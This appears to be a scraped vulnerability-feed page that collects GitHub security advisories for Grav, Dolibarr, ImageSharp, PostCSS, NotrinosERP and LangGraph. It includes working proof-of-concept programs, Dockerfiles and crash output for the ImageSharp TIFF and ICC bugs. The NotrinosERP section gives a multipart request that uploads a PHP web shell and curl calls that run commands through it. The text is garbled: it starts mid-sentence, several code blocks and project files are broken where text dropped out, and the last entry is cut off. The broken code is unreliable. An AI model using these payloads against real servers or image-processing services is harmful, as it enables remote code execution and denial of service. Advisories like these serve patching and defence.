c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 ## Affected code `system/src/Grav/Common/Utils.php`, lines 1512 to 1521: ```php public static function verifyNonce($nonce, $action) { //Safety check for multiple nonces if (is_array($nonce)) { $nonce = array_shift($nonce); } //Nonce generated 0-12 hours ago if ($nonce === self::getNonce($action)) { return true; } //Nonce generated 12-24 hours ago return $nonce === self::getNonce($action, true); } ``` The nonce itself is `md5($tick . '|' . $action . '|' . $username . '|' . session_id() . '|' . Security::getNonceKey())`, computed in the private `generateNonceString()` a few lines above. `Security::getNonceKey()` is an installation level secret. So the value being compared with `===` is a value derived from a secret, which is exactly the case `hash_equals()` exists for. ## Proof of concept, verified, real output I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's `===` string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest. Step 1, confirm PHP build: ``` $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS) ``` Step 2, benchmark script, measures the median time of `$a === $b` over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length: ```php = 400: return False, f"HTTP {code} on login page" Affected package ranges reported by GitHub: dolibarr/dolibarr: < 23.0.0 Action: GitHub lists first patched versions: dolibarr/dolibarr: 23.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer https://kevwire.com/record/CVE-2026-106110 ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer (Oct 7, 2026). ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content. CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j9gm-c75j-xc9q). Sources: GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q: https://github.com/advisories/GHSA-j9gm-c75j-xc9q GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000; Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image (width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0)); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax; using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes"); ``` Against the published 4.1.1 package, this produced: ```text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...) ``` A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully: ```text mode=control width=64 height=2000 Encoded OK: 76230 bytes ``` The direct public configuration path also triggers with: ```csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax }; ``` Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer https://kevwire.com/record/CVE-2026-106115 ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (Oct 7, 2026). The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-jjfr-hcj7-qf5w). Sources: GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w: https://github.com/advisories/GHSA-jjfr-hcj7-qf5w GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details [`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte. After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span. The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path. ### Tested environment - Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker No active exploitation is known. ### Reproduction Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA"); using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}"); using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); } Console.WriteLine($"encoded=True bytes={output.Length}"); ``` Run: ```text dotnet run -- exploit dotnet run -- control ``` The exploit produced exit code 134: ```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ``` The control completed with exit code 0: ```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ``` ### Impact One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path. Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.1.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop https://kevwire.com/record/CVE-2026-106116 ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop (Oct 7, 2026). `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. CVSS 5.3 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-wmxv-xphr-5c9g). Sources: GitHub-reviewed advisory GHSA-wmxv-xphr-5c9g: https://github.com/advisories/GHSA-wmxv-xphr-5c9g GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, Exe net8.0 enable enable /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' ' net8.0 ' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build wmxv.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"] ``` Run: ```sh docker build -t imagesharp-wmxv-poc . timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000 docker run --rm imagesharp-wmxv-poc 1 ``` Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index https://kevwire.com/record/CVE-2026-106113 ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index (Oct 7, 2026). `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-j3p4-wp97-rph4). Sources: GitHub-reviewed advisory GHSA-j3p4-wp97-rph4: https://github.com/advisories/GHSA-j3p4-wp97-rph4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel= completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i image = Image.Load (tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } } ``` Project file: ```xml Exe net8.0 enable enable /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' ' net8.0 ' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"] ``` Run: ```sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control ``` Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions https://kevwire.com/record/CVE-2026-106114 ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions (Oct 7, 2026). A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present. In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile. CVSS 5.3 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-gwg2-r3hj-4w44). Sources: GitHub-reviewed advisory GHSA-gwg2-r3hj-4w44: https://github.com/advisories/GHSA-gwg2-r3hj-4w44 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present. In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 1.0.0-beta0001, = 4.0.0, BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value); private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value); private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i (1, 1); image.Metadata.IccProfile = new IccProfile(icc); using var output = new MemoryStream(); image.Save(output, new PngEncoder()); return output.ToArray(); } public static int Main(string[] args) { string mode = args.Length == 1 ? args[0] : "exploit"; if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control"); Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}"); Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}"); Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute ()?.InformationalVersion}"); long before = GC.GetTotalAllocatedBytes(true); try { byte[] png = BuildPng(BuildTruncatedProfile()); var options = new DecoderOptions { ColorProfileHandling = mode == "exploit" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve }; using Image decoded = Image.Load(options, png); Console.WriteLine($"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}"); } catch (Exception exception) { Console.WriteLine($"observed_exception={exception.GetType().FullName}: {exception.Message}"); } Console.WriteLine($"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}"); return 0; } } ``` Project file: ```xml Exe net8.0 disable enable /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll true /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll true ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY gwg2.csproj Program.cs ./ # Restore only to obtain the published package. The repro project then uses a # direct DLL reference so ImageSharp's package build target is not invoked. RUN printf '%s\n' ' net8.0 ' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build gwg2.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/gwg2.dll"] ``` Run: ```sh docker build -t imagesharp-gwg2-poc . docker run --rm imagesharp-gwg2-poc exploit docker run --rm imagesharp-gwg2-poc control ``` Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 SixLabors.ImageSharp: >= 1.0.0-beta0001, < 3.2.0 Action: GitHub lists first patched versions: SixLabors.ImageSharp: 4.1.2; SixLabors.ImageSharp: 3.2.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion https://kevwire.com/record/CVE-2026-104844 PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion (Oct 5, 2026). `.` and `#` are not word delimiters in the tokenizer, so a flat selector such as `.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: `uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added in 7.1.3 offers no protection. Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected. CVSS 5.9 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rj75-hqrm-r3gf). Sources: GitHub-reviewed advisory GHSA-rj75-hqrm-r3gf: https://github.com/advisories/GHSA-rj75-hqrm-r3gf GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Impact `.` and `#` are not word delimiters in the tokenizer, so a flat selector such as `.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: `uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added in 7.1.3 offers no protection. Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected. ### Patches Fixed in 7.1.6. The three passes now use Set membership tests, making parsing linear in the number of indexes. There is no behaviour change: parsing is byte-identical on a differential corpus of 8413 selectors. ### Workarounds Cap the size of selectors accepted from untrusted sources before parsing. Affected package ranges reported by GitHub: postcss-selector-parser: >= 7.0.0, < 7.1.6 postcss-selector-parser: < 6.1.5 Action: GitHub lists first patched versions: postcss-selector-parser: 7.1.6; postcss-selector-parser: 6.1.5. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) https://kevwire.com/record/GHSA-qv4m-m73m-8hj7 NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) (Jul 10, 2026). ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. CVSS 8.8 (version 3.1; evidence as of Oct 25, 2026; https://github.com/advisories/GHSA-qv4m-m73m-8hj7). Sources: GitHub-reviewed advisory GHSA-qv4m-m73m-8hj7: https://github.com/advisories/GHSA-qv4m-m73m-8hj7 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc #### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: Cookie: Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" --b Content-Disposition: form-data; name="doc_type_id" --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_ _shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_ _shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../ .php?c=uname%20-sm;whoami' Darwin arm64 ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2). #### Suggested fix - Never use the client filename on disk. Store with a server-generated name and **no executable extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic` branch already does. - Store uploads outside the web root, or drop an `.htaccess`/`web.config` in `company/*/documents/` that disables script execution (`php_admin_flag engine off`, `RemoveHandler .php`, `SetHandler none`). - `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS). #### Resources / credit - Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`. - Reported by: ****. Affected package ranges reported by GitHub: notrinos/notrinos-erp: <= 1.0.0 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores https://kevwire.com/record/CVE-2026-115883 LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores (Oct 23, 2026). The Postgres and SQLite stores save a namespace as its labels joined with `.`, so `("tenant", "bob")` and `("tenant.bob",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace. `BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `".".join(namespace)`, so a label containing `.` resolved 